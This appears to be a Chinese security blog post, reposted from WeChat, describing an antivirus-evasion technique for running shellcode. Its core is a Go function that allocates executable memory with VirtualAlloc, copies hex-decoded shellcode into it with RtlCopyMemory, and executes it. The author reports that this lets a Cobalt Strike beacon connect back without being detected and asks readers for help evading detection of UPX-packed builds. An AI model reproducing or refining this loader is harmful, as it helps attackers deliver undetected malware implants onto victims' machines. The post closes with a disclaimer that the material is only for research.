【简述】
如果需要将A到C段的内存复制到B到D段内存上,这B到C段的内存就是重叠部分。如果使用RTLCopyMemory函数,重叠的部分不会被覆盖;如果使用RTLMoveMemory函数,重叠的部分也会被覆盖,当然,两者的结果都是一样的。经过测试,也证实了自己的想法,无论是用RTLCopyMemory还是RTLMoveMemory函数,都可以达到免杀的目的。
【实现思路】
直接上核心代码部分,难度不大
func ShellCode_RTLCopyMemory(shellcode string) error {
bad_Shellcode := []byte(shellcode)
addr, _, err := VirtualAlloc.Call(0, uintptr(len(bad_Shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if addr == 0 {
return err
}
ds, _ := hex.DecodeString(shellcode)
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&ds[0])), uintptr(len(shellcode)))
if err != nil {
if err.Error() != "The operation completed successfully." {
return err
}
}
_, _, err = syscall.Syscall(addr, 0, 0, 0, 0)
if err != nil {
if err.Error() != "The operation completed successfully." {
return err
}
}
return nil
}
着重说一下关于RTLCopyMemory函数,它有三个参数
参数 |
意义 |
Destination |
数据类型:void*。指向要将字节复制到的目标内存块的指针。 |
Source |
数据类型:const void*。指向要从中复制字节的源内存块的指针。 |
Length |
数据类型:size_t。要从源复制到目标的字节数。 |
最后的CS上线免杀效果:
(这里本人有个问题不知道该如何解决,没经过upx压缩的并不会报毒,能成功bypass,而经过upx压缩的会被查杀出来,我已经修改过upx的静态特征,但是依旧被查杀出来,望师傅们指点指点)
原文始发于微信公众号(Snaker独行者):我的免杀之路:内存隐藏
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论